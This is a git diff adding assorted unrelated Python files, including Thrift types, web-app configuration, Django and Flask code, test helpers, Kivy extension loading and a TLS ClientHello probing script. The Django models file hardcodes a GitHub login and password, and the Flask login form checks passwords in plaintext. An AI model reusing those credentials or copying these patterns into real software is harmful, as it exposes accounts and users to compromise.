and + default copied from :class:`ccchirp.Config`. + + :param config: Config as either a object or a dictionary. + :type config: :py:class:`object` or :py:class:`dict` + """ + + def __init__( + self, + config = None, + ): + self._config = common.complete_config( + config, const.Config() + ) diff --git a/pool/shard009/Python/0081548_ttypes.py b/pool/shard009/Python/0081548_ttypes.py new file mode 100644 index 0000000000000000000000000000000000000000..0d2b8c4a11855c2866966a2f5b94237ec41c2f57 --- /dev/null +++ b/pool/shard009/Python/0081548_ttypes.py @@ -0,0 +1,106 @@ +# +# Autogenerated by Thrift Compiler (0.9.0) +# +# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING +# +# options string: py:new_style +# + +from thrift.Thrift import TType, TMessageType, TException, TApplicationException + +from thrift.transport import TTransport +from thrift.protocol import TBinaryProtocol, TProtocol +try: + from thrift.protocol import fastbinary +except: + fastbinary = None + + +class BmiGridType(object): + UNKNOWN = 0 + UNIFORM = 1 + RECTILINEAR = 2 + STRUCTURED = 3 + UNSTRUCTURED = 4 + + _VALUES_TO_NAMES = { + 0: "UNKNOWN", + 1: "UNIFORM", + 2: "RECTILINEAR", + 3: "STRUCTURED", + 4: "UNSTRUCTURED", + } + + _NAMES_TO_VALUES = { + "UNKNOWN": 0, + "UNIFORM": 1, + "RECTILINEAR": 2, + "STRUCTURED": 3, + "UNSTRUCTURED": 4, + } + + +class ModelException(TException): + """ + Attributes: + - message + """ + + thrift_spec = ( + None, # 0 + (1, TType.STRING, 'message', None, None, ), # 1 + ) + + def __init__(self, message=None,): + self.message = message + + def read(self, iprot): + if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: + fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) + return + iprot.readStructBegin() + while True: + (fname, ftype, fid) = iprot.readFieldBegin() + if ftype == TType.STOP: + break + if fid == 1: + if ftype == TType.STRING: + self.message = iprot.readString(); + else: + iprot.skip(ftype) + else: + iprot.skip(ftype) + iprot.readFieldEnd() + iprot.readStructEnd() + + def write(self, oprot): + if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: + oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) + return + oprot.writeStructBegin('ModelException') + if self.message is not None: + oprot.writeFieldBegin('message', TType.STRING, 1) + oprot.writeString(self.message) + oprot.writeFieldEnd() + oprot.writeFieldStop() + oprot.writeStructEnd() + + def validate(self): + if self.message is None: + raise TProtocol.TProtocolException(message='Required field message is unset!') + return + + + def __str__(self): + return repr(self) + + def __repr__(self): + L = ['%s=%r' % (key, value) + for key, value in self.__dict__.iteritems()] + return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) + + def __eq__(self, other): + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ + + def __ne__(self, other): + return not (self == other) diff --git a/pool/shard009/Python/0081551_environment.py b/pool/shard009/Python/0081551_environment.py new file mode 100644 index 0000000000000000000000000000000000000000..5b4af3f0d57c51525011eb17799f0c3962b4b16f --- /dev/null +++ b/pool/shard009/Python/0081551_environment.py @@ -0,0 +1,198 @@ +# -*- coding: utf-8 -*- + + +# OpenFisca -- A versatile microsimulation software +# By: OpenFisca Team +# +# Copyright (C) 2011, 2012, 2013, 2014, 2015 OpenFisca Team +# https://github.com/openfisca +# +# This file is part of OpenFisca. +# +# OpenFisca is free software; you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# OpenFisca is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +"""Environment configuration""" + + +import logging +import os +import sys + +from biryani import strings +import pymongo + +import openfisca_web_ui +from . import conv, model, templates + + +app_dir = os.path.dirname(os.path.abspath(__file__)) +db = None + + +def load_environment(global_conf, app_conf): + """Configure the application environment.""" + conf = openfisca_web_ui.conf # Empty dictionary + conf.update(strings.deep_decode(global_conf)) + conf.update(strings.deep_decode(app_conf)) + conf.update(conv.check(conv.struct( + { + 'alert_on_js_error': conv.pipe(conv.guess_bool, conv.not_none), + 'api.base_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'api.calculate_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'api.entities_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'api.fields_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'api.reforms_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'api.repair_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'api.simulate_url': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_query = True, full = True), + conv.not_none, + ), + 'app_conf': conv.set_value(app_conf, handle_none_value = True), + 'app_dir': conv.set_value(app_dir, handle_none_value = True), + 'app_name': conv.pipe(conv.cleanup_line, conv.default('OpenFisca')), + 'auth.dummy_admin_email': conv.pipe(conv.cleanup_line, conv.default(u'admin@domain.tld')), + 'auth.dummy_user_email': conv.pipe(conv.cleanup_line, conv.default(u'user@domain.tld')), + 'base_reforms': conv.pipe( + conv.cleanup_line, + conv.function(lambda value: value.split(',')), + conv.uniform_sequence(conv.cleanup_line), + conv.empty_to_none, + ), + 'cache_dir': conv.default(os.path.join(os.path.dirname(app_dir), 'cache')), + 'cookie': conv.default('openfisca-web-ui'), + 'country': conv.cleanup_line, + 'customs_dir': conv.default(None), + 'database.host': conv.default('localhost'), + 'database.name': conv.default('openfisca_web_ui'), + 'database.port': conv.pipe(conv.input_to_int, conv.default(27017)), + 'debug': conv.pipe(conv.guess_bool, conv.not_none), + 'enabled.auth': conv.pipe(conv.guess_bool, conv.not_none), + 'enabled.charts.locating': conv.pipe(conv.guess_bool, conv.not_none), + 'enabled.disclaimer': conv.pipe(conv.guess_bool, conv.not_none), + 'enabled.livereload': conv.pipe(conv.guess_bool, conv.not_none), + 'global_conf': conv.set_value(global_conf, handle_none_value = True), + # 'host_urls': conv.pipe( + # conv.function(lambda host_urls: host_urls.split()), + # conv.uniform_sequence( + # conv.make_input_to_url(error_if_fragment = True, error_if_path = True, error_if_query = True, + # full = True, schemes = (u'ws', u'wss')), + # constructor = lambda host_urls: sorted(set(host_urls)), + # ), + # ), + 'i18n_dir': conv.default(os.path.join(app_dir, 'i18n')), + 'languages': conv.pipe( + conv.cleanup_line, + conv.function(lambda value: value.split(',')), + conv.uniform_sequence(conv.input_to_slug), + conv.not_none, + ), + 'log_level': conv.pipe( + conv.default('WARNING'), + conv.function(lambda log_level: getattr(logging, log_level.upper())), + ), + 'minified_js_bundle': conv.pipe(conv.guess_bool, conv.not_none), + 'package_name': conv.default('openfisca-web-ui'), + 'piwik.site_id': conv.input_to_int, + 'piwik.url': conv.make_input_to_url(full = True, error_if_fragment = True, error_if_path = True, + error_if_query = True), + # Whether this application serves its own static files. + 'static_files': conv.pipe(conv.guess_bool, conv.not_none), + 'static_files_dir': conv.default(os.path.join(app_dir, 'static')), + 'ui.default_year': conv.pipe(conv.input_to_int, conv.default(2013)), + 'ui.max_year': conv.pipe(conv.input_to_int, conv.default(2099)), + 'ui.min_year': conv.pipe(conv.input_to_int, conv.default(1870)), + 'urls.legislation_explorer': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_path = True, error_if_query = True, + full = True), + conv.not_none, + ), + 'urls.other_ui_by_country': conv.pipe( + conv.cleanup_line, + conv.function(lambda value: value.split('\n')), + conv.uniform_sequence( + conv.pipe( + conv.function(lambda value: value.split('=')), + conv.uniform_sequence(conv.cleanup_line), + ) + ), + conv.function(lambda value: dict(value)), + conv.uniform_mapping( + conv.noop, + conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_path = True, error_if_query = True, + full = True), + conv.not_none, + ) + ), + ), + 'urls.persona': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_path = True, error_if_query = True, + full = True), + conv.default(u'https://login.persona.org/'), + ), + 'urls.www': conv.pipe( + conv.make_input_to_url(error_if_fragment = True, error_if_path = True, error_if_query = True, + full = True), + conv.not_none, + ), + }, + default = 'drop', + ))(conf)) + + # Configure logging. + logging.basicConfig(level = conf['log_level'], stream = sys.stderr) + + errorware = conf.setdefault('errorware', {}) + errorware['debug'] = conf['debug'] + if not conf['debug'] and conf.get('email_to'): + errorware['error_email'] = conf['email_to'] + errorware['error_log'] = conf.get('error_log', None) + errorware['error_message'] = conf.get('error_message', 'An internal server error occurred') + errorware['error_subject_prefix'] = conf.get('error_subject_prefix', 'OpenFisca-Web-UI Error: ') + errorware['from_address'] = conf['from_address'] + errorware['smtp_server'] = conf.get('smtp_server', 'localhost') + + # Load MongoDB database. + global db + db = pymongo.Connection(conf['database.host'], conf['database.port'])[conf['database.name']] + model.init(db) + + # Create the Mako TemplateLookup, with the default auto-escaping. + templates.dirs = [os.path.join(app_dir, 'templates')] + + +def setup_environment(): + """Setup the application environment (after it has been loaded).""" + + # Setup MongoDB database. + model.setup() diff --git a/pool/shard009/Python/0081552_forms.py b/pool/shard009/Python/0081552_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..78de2362085594c69eced01af6ec3c932b5c8e83 --- /dev/null +++ b/pool/shard009/Python/0081552_forms.py @@ -0,0 +1,19 @@ +from flask.ext.wtf import Form, TextField, PasswordField, BooleanField, Required, ValidationError + +from lines import app, db +from models import User + +class LoginForm(Form): + login = TextField(validators=[Required()]) + password = PasswordField(validators=[Required()]) + + def validate_login(self, field): + user = self.get_user() + + if user is None: + raise ValidationError('Invalid user') + elif user.password != self.password.data: + raise ValidationError('Bad password') + + def get_user(self): + return User.query.filter_by(login=self.login.data).first() diff --git a/pool/shard009/Python/0081570_context_processors.py b/pool/shard009/Python/0081570_context_processors.py new file mode 100644 index 0000000000000000000000000000000000000000..c0cdbbb49d8595c3ee24a7387d45d518d9d5feb7 --- /dev/null +++ b/pool/shard009/Python/0081570_context_processors.py @@ -0,0 +1,14 @@ +def user(request): + """ + Context processor that adds boolean of whether current user is an admin for current org + """ + if request.user.is_anonymous or not request.org: + is_admin = False + partner = None + is_faq_only = True + else: + is_admin = request.user.can_administer(request.org) + partner = request.user.get_partner(request.org) + is_faq_only = request.user.must_use_faq() + + return {"user_is_admin": is_admin, "user_partner": partner, "user_is_faq_only": is_faq_only} diff --git a/pool/shard009/Python/0081572_dicts.py b/pool/shard009/Python/0081572_dicts.py new file mode 100644 index 0000000000000000000000000000000000000000..1d5fa5d8c8df13bec7821810c1bb050ac564fb6d --- /dev/null +++ b/pool/shard009/Python/0081572_dicts.py @@ -0,0 +1,32 @@ + +def string2dict( + strng, + valsep=",", + kvsep="=" +): + """ + Creates a dictionary from a string. + + :param strng: string to convert into dictionary + :param valsep: separator between key-value pairs + :param kvsep: separator between key and value + :return: a dictionary + + Examples: + >>> d1 = string2dict("m=s, c=blue") + >>> d1 == {'c': 'blue', 'm': 's'} + True + """ + + vals = strng.split(valsep) + kv_vals = map(lambda kvstr: kvstr.strip().split(kvsep), vals) + + return dict(kv_vals) + + +if __name__ == "__main__": + + import doctest + doctest.testmod() + + diff --git a/pool/shard009/Python/0081574_models.py b/pool/shard009/Python/0081574_models.py new file mode 100644 index 0000000000000000000000000000000000000000..aaee6ec0aeddaa8f45252098b248ac87c7c8db68 --- /dev/null +++ b/pool/shard009/Python/0081574_models.py @@ -0,0 +1,104 @@ +import os +from django.contrib.auth.models import User +from django.conf import settings +from django.db import models +from django.db.models.signals import ( + post_save) +from django.dispatch import receiver +from elasticgit import EG +from elasticinit import TestStory +from backend.utils import push_to_git +import uuid +from github3 import GitHub + +join = os.path.join + +# from git import GitCommandError + + +class UserProfile(models.Model): + user = models.ForeignKey('auth.User') + uuid = models.CharField( + max_length=32, + unique=True, + db_index=True, + editable=False) + + +class Story(models.Model): + title = models.CharField(max_length=200) + author = models.CharField(max_length=200) + category = models.IntegerField() + body = models.CharField(max_length=200000) + uuid = models.CharField( + max_length=32, + blank=True, + null=True, + unique=True, + db_index=True, + editable=False) + + +@receiver(post_save, sender=User) +def auto_create_repo(instance, **kwargs): + try: + userUUID = uuid.uuid4().hex + + # creating repo on GitHub + gh = GitHub('minaglobalfoundation@gmail.com', + password='minafoundation15') + githubRepo = gh.create_repository(userUUID, description=u'', + homepage=u'', + private=False, + has_issues=True, + has_wiki=True, + auto_init=True, + gitignore_template=u'') + githubRepo.create_blob('hello', 'utf-8') + githubRepo.create_commit('first commit', '', '') + + # creating local repo + repoPath = 'repos/' + userUUID + UserProfile(user=instance, uuid=userUUID) + EG.init_repo(repoPath, bare=False) + + # creating workspace in local repo + workspace = EG.workspace(repoPath, + index_prefix='', + es={'urls': ['http://localhost:9200']}) + + # pushing local repo to GitHub repo + workspace.repo.create_remote('origin', githubRepo.html_url) + repo = workspace.repo + remote = repo.remote() + remote.fetch() + remote_master = remote.refs.master + remote.push(remote_master.remote_head) + except ValueError: + raise + workspace.refresh_index() + + +# posting to EG +@receiver(post_save, sender=Story) +def auto_save_to_git(instance, **kwargs): + data = TestStory({ + "title": instance.title, + "author": instance.author, + "category": instance.category, + "body": instance.body, + "uuid": uuid.uuid4().hex}) + + try: + ws = EG.workspace(settings.GIT_REPO_PATH, + index_prefix=settings.ELASTIC_GIT_INDEX_PREFIX, + es={'urls': [settings.ELASTICSEARCH_HOST]}) + ws.setup('Codie Roelf', 'codiebeulaine@gmail.com') + ws.save(data, 'saving') + ws.refresh_index() + push_to_git(settings.GIT_REPO_PATH, + index_prefix=settings.ELASTIC_GIT_INDEX_PREFIX, + es_host=settings.ELASTICSEARCH_HOST) + except ValueError: + raise + ws.refresh_index() diff --git a/pool/shard009/Python/0081575_common.py b/pool/shard009/Python/0081575_common.py new file mode 100644 index 0000000000000000000000000000000000000000..f28a2f7b42e0aa166d5566c594c2ed2898cc5b06 --- /dev/null +++ b/pool/shard009/Python/0081575_common.py @@ -0,0 +1,178 @@ +from __future__ import division + +from fractions import Fraction +from subprocess import check_call +from unittest import TestCase as _Base +import datetime +import errno +import os +import sys +import functools +import types + +from nose.plugins.skip import SkipTest + +try: + import PIL.Image as Image + import PIL.ImageFilter as ImageFilter +except ImportError: + Image = ImageFilter = None + + +import av +from av.frame import Frame +from av.packet import Packet +from av.stream import Stream +from av.utils import AVError +from av.video import VideoFrame + + +is_py3 = sys.version_info[0] > 2 +is_windows = os.name == 'nt' + +if not is_py3: + from itertools import izip as zip + + +def fate_suite(name): + fate_dir = os.path.abspath(os.path.join( + __file__, '..', + 'assets', 'fate-suite', + )) + path = os.path.join(fate_dir, name) + if not os.path.exists(path): + makedirs(os.path.dirname(path)) + url = 'http://fate.ffmpeg.org/fate-suite/' + name + check_call(['curl', '-o', path, url]) + return path + + +def makedirs(path): + try: + os.makedirs(path) + except OSError as e: + if e.errno != errno.EEXIST: + raise + + +_start_time = datetime.datetime.now() + + +def _sandbox(timed=False): + root = os.path.abspath(os.path.join( + __file__, '..', '..', + 'sandbox' + )) + + sandbox = os.path.join( + root, + _start_time.strftime('%Y%m%d-%H%M%S'), + ) if timed else root + if not os.path.exists(sandbox): + os.makedirs(sandbox) + return sandbox + + +def asset(*args): + adir = os.path.dirname(__file__) + return os.path.abspath(os.path.join(adir, 'assets', *args)) + + +def sandboxed(*args, **kwargs): + do_makedirs = kwargs.pop('makedirs', True) + base = kwargs.pop('sandbox', None) + timed = kwargs.pop('timed', False) + if kwargs: + raise TypeError('extra kwargs: %s' % ', '.join(sorted(kwargs))) + path = os.path.join(_sandbox(timed=timed) if base is None else base, *args) + if do_makedirs: + makedirs(os.path.dirname(path)) + return path + + +class MethodLogger(object): + + def __init__(self, obj): + self._obj = obj + self._log = [] + + def __getattr__(self, name): + value = getattr(self._obj, name) + if isinstance(value, (types.MethodType, types.FunctionType, types.BuiltinFunctionType, types.BuiltinMethodType)): + return functools.partial(self._method, name, value) + else: + self._log.append(('__getattr__', (name, ), {})) + return value + + def _method(self, name, meth, *args, **kwargs): + self._log.append((name, args, kwargs)) + return meth(*args, **kwargs) + + def _filter(self, type_): + return [log for log in self._log if log[0] == type_] + + + +class TestCase(_Base): + + @classmethod + def _sandbox(cls, timed=True): + path = os.path.join(_sandbox(timed=timed), cls.__name__) + makedirs(path) + return path + + @property + def sandbox(self): + return self._sandbox(timed=True) + + def sandboxed(self, *args, **kwargs): + kwargs.setdefault('sandbox', self.sandbox) + kwargs.setdefault('timed', True) + return sandboxed(*args, **kwargs) + + def assertImagesAlmostEqual(self, a, b, epsilon=0.1, *args): + self.assertEqual(a.size, b.size, 'sizes dont match') + a = a.filter(ImageFilter.BLUR).getdata() + b = b.filter(ImageFilter.BLUR).getdata() + for i, ax, bx in zip(range(len(a)), a, b): + diff = sum(abs(ac / 256 - bc / 256) for ac, bc in zip(ax, bx)) / 3 + if diff > epsilon: + self.fail('images differed by %s at index %d; %s %s' % (diff, i, ax, bx)) + + # Add some of the unittest methods that we love from 2.7. + if sys.version_info < (2, 7): + + def assertIs(self, a, b, msg=None): + if a is not b: + self.fail(msg or '%r at 0x%x is not %r at 0x%x; %r is not %r' % (type(a), id(a), type(b), id(b), a, b)) + + def assertIsNot(self, a, b, msg=None): + if a is b: + self.fail(msg or 'both are %r at 0x%x; %r' % (type(a), id(a), a)) + + def assertIsNone(self, x, msg=None): + if x is not None: + self.fail(msg or 'is not None; %r' % x) + + def assertIsNotNone(self, x, msg=None): + if x is None: + self.fail(msg or 'is None; %r' % x) + + def assertIn(self, a, b, msg=None): + if a not in b: + self.fail(msg or '%r not in %r' % (a, b)) + + def assertNotIn(self, a, b, msg=None): + if a in b: + self.fail(msg or '%r in %r' % (a, b)) + + def assertIsInstance(self, instance, types, msg=None): + if not isinstance(instance, types): + self.fail(msg or 'not an instance of %r; %r' % (types, instance)) + + def assertNotIsInstance(self, instance, types, msg=None): + if isinstance(instance, types): + self.fail(msg or 'is an instance of %r; %r' % (types, instance)) + + + diff --git a/pool/shard009/Python/0081576_init__.py b/pool/shard009/Python/0081576_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..dda78ea668bdf01866aa7dcfc59c8dfda36595fb --- /dev/null +++ b/pool/shard009/Python/0081576_init__.py @@ -0,0 +1,287 @@ +''' +Extension Support +================= + +Sometimes your application requires functionality that is beyond the scope of +what Kivy can deliver. In those cases it is necessary to resort to external +software libraries. Given the richness of the Python ecosystem, there is already +a great number of software libraries that you can simply import and use right +away. + +For some third-party libraries, it's not as easy as that though. Some libraries +require special *wrappers* to be written for them in order to be compatible with +Kivy. +Some libraries might even need to be patched so that they can be used (e.g. if +they open their own OpenGL context to draw in and don't support proper offscreen +rendering). On those occasions it is often possible to patch the library in +question and to provide a Python wrapper around it that is compatible with Kivy. +Sticking with this example, you can't just use the wrapper with a 'normal' +installation of the library because the patch would be missing. + +That is where Kivy extensions come in handy. A Kivy extension represents a +single third-party library that is provided in a way so that it can simply be +downloaded as a single file, put in a special directory and then offers the +functionality of the wrapped library to Kivy applications. +These extensions will not pollute the global Python environment (as they might +be unusable on their own after potential patches have been applied) because they +reside in special directories for Kivy that are not accessed by Python by +default. + +Kivy extensions are provided as ``*.kex`` files. They are really just zip files, +but you must not unzip them yourself. Kivy will do that for you as soon as it's +appropriate to do so. + +.. warning:: + + Again, do not try to unzip ``*.kex`` files on your own. While unzipping will + work, Kivy will not be able to load the extension and will simply ignore it. + +With Kivy's extension system, your application can use specially packaged +third-party libraries in a backwards compatible way (by specifying the version +that you require) even if the actual third-party library does not guarantee +backwards-compatibility. There will be no breakage if newer versions are +installed (as a properly suited old version will still be used). For more +information about that behaviour, consider the documentation of the +:func:`~kivy.ext.load` function. + +If you want to provide an extension on your own, there is a helper script that +sets up the initial extension folder structure that Kivy requires for +extensions. It can be found at kivy/tools/extensions/make-kivyext.py +''' + +import imp +from glob import glob +from os import listdir, mkdir, sep, environ +from os.path import join, isdir, exists, dirname +from zipfile import ZipFile +from shutil import move + +from kivy.logger import Logger + +if not 'KIVY_DOC' in environ: + from kivy import kivy_userexts_dir, kivy_exts_dir + + # The paths where extensions can be put as a .zip file by the user + EXTENSION_PATHS = [kivy_exts_dir, kivy_userexts_dir] + +NEED_UNZIP = True + + +def load(extname, version): + # XXX platform check? + '''Use this function to tell Kivy to load a specific version of the given + Extension. This is different from kivy's require() in that it will always + use the exact same major version you specify even if a newer (major) + version is available. This is because we cannot make the same + backwards-compatibility guarantee that we make with Kivy for third-party + extensions. You will still get fixes and optimizations that don't break + backwards compatibility via minor version upgrades of the extension. + + The function will then return the loaded module as a Python module object + and you can bind it to a name of your choosing. This prevents clashes with + modules with the same name that might be installed in a system directory. + + Usage example for this function:: + + from kivy.ext import load + myextension = load('myextension', (2, 1)) + # You can now use myextension as if you had done ``import myextension``, + # but with the added benefit of using the proper version. + + :Parameters: + `extname`: str + The exact name of the extension that you want to use. + `version`: two-tuple of ints + A tuple of the form (major, minor), where major and minor are ints + that specify the major and minor version number for the extension, + e.g. (1, 2) would be akin to 1.2. It is important to note that + between minor versions, backwards compatibility is guaranteed, but + between major versions it is not. I.e. if you change your extension + in a backwards incompatible way, increase the major version number + (and reset the minor to 0). If you just do a bug fix or add an + optional, backwards-compatible feature, you can just increase the + minor version number. If the application then requires version (1, + 2), every version starting with that version number will be ok and + by default the latest version will be choosen. + The two ints major and minor can both be in range(0, infinity). + ''' + # + global NEED_UNZIP + if NEED_UNZIP: + unzip_extensions() + NEED_UNZIP = False + + # Find the one path that best satisfies the specified criteria, i.e. same + # extension name, same major version number, maximum available minor version + # number but at least the same as the specified minor version number. + majmatch = extname + '_' + str(version[0]) + '.*' + best = None + bestpath = None + globs = [] + for epath in EXTENSION_PATHS: + globs.extend(glob(join(epath, majmatch))) + for p in globs: + # minmatch + cur = int(p.rsplit('.')[-1]) + if best is None or cur > best: + best = cur + bestpath = p + if best >= version[1]: + searchpath = [bestpath] + else: + # Didn't find a matching extension + raise ImportError("No extension found that satisfies your criteria: " + + "('%s', %s)" % (extname, version)) + + file, pathname, desc = imp.find_module(extname, searchpath) + msg = 'Extension found for ' + repr(extname) + ':\n\t' + str(file) + \ + '\n\t' + str(pathname) + '\n\t' + str(desc) + Logger.debug(msg) + + try: + mod = imp.load_module(extname, file, pathname, desc) + finally: + if file: + file.close() + + return mod + + +def _is_valid_ext_name(name): + try: + extname, version = name.split('_') + major, minor = version.split('.') + major, minor = int(major), int(minor) + except: + print("The name '%s' is not a valid extension name." % name) + return False + return (extname, (major, minor)) + + +def unzip_extensions(): + '''Unzips Kivy extensions. Internal usage only: don't use it yourself unless + you know what you're doing and really want to trigger installation of new + extensions. + + For your file to be recognized as an extension, it has to fulfil a few + requirements: + + * We require that the file has the ``*.kex`` extension to make the + distinction between a Kivy extension and an ordinary zip file clear. + + * We require that the ``*.kex`` extension files be put into any of the + directories listed in EXTENSION_PATHS which is normally + ~/.kivy/extensions and extensions/ inside kivy's base directory. We do + not look for extensions on sys.path or elsewhere in the system. + + * We require that the Kivy extension is zipped in a way so that Python's + zipfile module can extract it properly. + + * We require that the extension internally obeys the common Kivy extension + format, which looks like this:: + + |-- myextension/ + |-- __init__.py + |-- data/ + + The ``__init__.py`` file is the main entrypoint to the extension. All + names that should be usable when the extension is loaded need to be + exported (i.e. made available) in the namespace of that file. + + How the extension accesses the code of the library that it wraps (be it + pure Python or binary code) is up to the extension. For example there + could be another Python module adjacent to the ``__init__.py`` file from + which the ``__init__.py`` file imports the usable names that it wants to + expose. + + * We require that the version of the extension be specified in the + ``setup.py`` file that is created by the Kivy extension wizard and that + the version specification format as explained in :func:`~kivy.ext.load` + be used. + ''' + Logger.debug('Searching for new extension in %s' % EXTENSION_PATHS) + + for epath in EXTENSION_PATHS: + if not isdir(epath): + try: + mkdir(epath) + except OSError: + continue + files = [] + else: + files = listdir(epath) + for zipfn in glob(join(epath, '*.kex')): + # ZipFile only became a context manager in python 2.7... + # with ZipFile(zipfn, 'r') as zipf: + # fail = is_invalid = False + try: + zipf = ZipFile(zipfn) + # /path/to/MyExt-1.0.linux-x86_64.zip + # /path/to/MyExt-1.0.macos-10.6-x86_64.zip + extname = zipfn.rsplit(sep)[-1][:-4] + # MyExt-1.0.linux-x86_64 + # MyExt-1.0.macosx-10.6-x86_64 + t = extname.split('-') + extname = t[0] + version = '-'.join(t[1:]) + version = '.'.join(version.split('.')[:2]) + + extdir = extname + '_' + version + + # is_invalid = not _is_valid_ext_name(extdir) + except IOError: + Logger.warn("Malformed zipfile '%s'! Skipping it." % zipfn) + continue + except Exception as e: + Logger.warn("Malformed extension '%s'! Skipping it." % zipfn) + zipf.close() + continue + + already_unzipped = False + if extdir in files: + Logger.trace(("Extension '%s' has already been " % extname) + + "extracted manually, just moving the zip.") + already_unzipped = True + + # Filter the namelist of zipfile to take only the members that start + # with the extension name (MyExt/...) + members = [x for x in zipf.namelist() + if x.startswith(extname + '/')] + + if not already_unzipped: + # Unzip the extension + try: + cache_directories = [] + mkdir(join(epath, extdir)) + # I know that there is zipf.extract() and zipf.extractall(), + # but on OSX, Python 2.6 is the default and in that version, + # both methods have a bug. Fixed in 2.7 only. So use this + # workaround until apple upgrades its python. See + # http://bugs.python.org/issue4710 + for member in members: + # In zipfiles, folders always end with '/' regardless + # of the OS + mempath = join(epath, extdir, member) + directory = dirname(mempath) + if not directory in cache_directories: + cache_directories.append(directory) + if not exists(directory): + mkdir(join(epath, extdir, directory)) + with open(join(epath, extdir, member), 'wb') as fd: + fd.write(zipf.read(member)) + except Exception as e: + # Catch any error, e.g. non-writable directory, etc. + Logger.error("Failed installing extension " + + "'%s' %s." % (extname, e)) + return + finally: + zipf.close() + Logger.info("Installed extension '%s'." % extname) + + # Move the zip out of the way so that it won't be installed again + # The user can just delete it, but we'll keep it around in case the + # user needs it again. + consumed_dir = join(epath, '_consumed_zips') + if not isdir(consumed_dir): + mkdir(consumed_dir) + move(zipfn, consumed_dir) diff --git a/pool/shard009/Python/0081583_test_qthreadexec.py b/pool/shard009/Python/0081583_test_qthreadexec.py new file mode 100644 index 0000000000000000000000000000000000000000..27f0710f9dc019a64c6876b84a0a05bb18f54d02 --- /dev/null +++ b/pool/shard009/Python/0081583_test_qthreadexec.py @@ -0,0 +1,35 @@ +# © 2014 Mark Harviston +# © 2014 Arve Knudsen +# BSD License +import pytest +import quamash + + +@pytest.fixture +def executor(request): + exe = quamash.QThreadExecutor(5) + request.addfinalizer(exe.shutdown) + return exe + + +@pytest.fixture +def shutdown_executor(): + exe = quamash.QThreadExecutor(5) + exe.shutdown() + return exe + + +def test_shutdown_after_shutdown(shutdown_executor): + with pytest.raises(RuntimeError): + shutdown_executor.shutdown() + + +def test_ctx_after_shutdown(shutdown_executor): + with pytest.raises(RuntimeError): + with shutdown_executor: + pass + + +def test_submit_after_shutdown(shutdown_executor): + with pytest.raises(RuntimeError): + shutdown_executor.submit(None) diff --git a/pool/shard009/Python/0081584_servername.py b/pool/shard009/Python/0081584_servername.py new file mode 100644 index 0000000000000000000000000000000000000000..ab6ca0be35a432b0d09e1685f4598a9905a6cb7b --- /dev/null +++ b/pool/shard009/Python/0081584_servername.py @@ -0,0 +1,104 @@ +#!/usr/bin/python + +import sys +import socket +import logging +from optparse import OptionParser +import subprocess + +from tls import * + +def make_hello(name): + #sni_extension = ServerNameExtension.create('daniel.molkentin.net') + sni_extension = ServerNameExtension.create(name) + sni_extension2 = ServerNameExtension.create('x') + #sni_extension = ServerNameExtension.create(hostname=None, hostnames = [name,'x','y']) + + hello = ClientHelloMessage.create(TLSRecord.TLS1_0, + '01234567890123456789012345678901', + [TLS_RSA_WITH_RC4_128_MD5, + TLS_RSA_WITH_RC4_128_SHA, + TLS_RSA_WITH_3DES_EDE_CBC_SHA, + TLS_RSA_WITH_AES_128_CBC_SHA, + TLS_RSA_WITH_AES_256_CBC_SHA, + TLS_RSA_WITH_AES_128_CBC_SHA256, + TLS_RSA_WITH_AES_256_CBC_SHA256], + extensions = [ sni_extension, sni_extension2]) + + record = TLSRecord.create(content_type=TLSRecord.Handshake, + version=TLSRecord.TLS1_0, + message=hello.bytes) + + #hexdump(record.bytes) + return record.bytes + + +def server_name(f, name): + print 'Sending Client Hello...' + f.write(make_hello(name)) + + print 'Waiting for Server Hello Done...' + while True: + record = read_tls_record(f) + + # Look for server hello message. + if record.content_type() == TLSRecord.Handshake: + message = HandshakeMessage.from_bytes(record.message()) + if message.message_type() == HandshakeMessage.ServerHelloDone: + print 'Got server hello done...' + break + elif message.message_type() == HandshakeMessage.ServerHello: + # Dump server hello info + print 'Got server hello...' + print 'Version:', TLSRecord.tls_versions.get(message.server_version(), 'UNKNOWN!'), \ + hex(message.server_version()) + print 'Cipher Suite:', cipher_suites.get(message.cipher_suite(), 'UNKNOWN!'), \ + hex(message.cipher_suite()) + print 'Extensions Present:', message.has_extensions() + elif record.content_type() == TLSRecord.Alert: + alert = AlertMessage.from_bytes(record.message()) + print alert + if alert.alert_level() == AlertMessage.Fatal: + raise IOError('Server sent a fatal alert') + else: + print 'Record received type %d' % (record.content_type()) + + +def main(): + options = OptionParser(usage='%prog server [options]', + description='Test for Python SSL') + options.add_option('-p', '--port', + type='int', default=443, + help='TCP port to test (default: 443)') + options.add_option('-d', '--debug', action='store_true', dest='debug', + default=False, + help='Print debugging messages') 